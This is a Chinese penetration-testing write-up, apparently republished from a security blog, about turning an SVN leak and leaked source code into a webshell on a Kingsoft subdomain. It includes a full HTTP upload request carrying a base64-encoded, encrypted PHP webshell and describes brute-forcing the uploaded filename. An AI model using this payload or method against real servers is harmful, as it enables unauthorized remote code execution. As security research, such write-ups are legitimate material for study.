记一次某山信息泄露+源码泄露getshell
source link: https://blog.51cto.com/xunansec/5366142
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
记一次某山信息泄露+源码泄露getshell
原创挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下
首先自然是子域名收集,发现存在一个很长的二级域名:
*打码*.kingsoft.com
因为是带着xray
扫的,所以直接发现.svn/entries
可访问,存在SVN
信息泄露,进一步利用,主要是访问/.svn/wc.db
可获取svn
数据库信息
db
文件可通过数据库读取软件打开,可以清晰看到网站文件结构:
发现存在服务器日志页面
点击进入可看见服务器所有日志
以及各类服务器日志信息
在SVN数据翻找的过程中发现一个文件:showtrace.lua
发现内网svn地址:svn.funova.com
本着试试看的原则,在github
中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面
经过与SVN
泄露的文件对比验证,确定这就是该网站的项目源码!
赶快看看项目中的源码内容,看看有无利用点,正好发现存在个upload.php
该PHP文件会在save
目录下创建一个通过devid
与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:
其中前面为日期,后面为小时-分钟-秒数
开始构造上传payload
,根据上传代码分析,文件内容需要经过一层base64
Encode,把shell
提前Encode一下即可:
Host: \*打码\*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://\*打码\*.kingsoft.com
Connection: close
Referer: https://\*打码\*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50
op=0&devid=1&fname=testhtml.php&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==
上传返回200,但没有返回文件名
问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:
webshell
连接成功:版权声明:本文为「gt4404gb」
原文链接: https://gt4404gb.com/archives/1278
- 赞
- 收藏
- 评论
- 分享
- 举报
上一篇:记一次绕过安全狗与360艰难提权
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK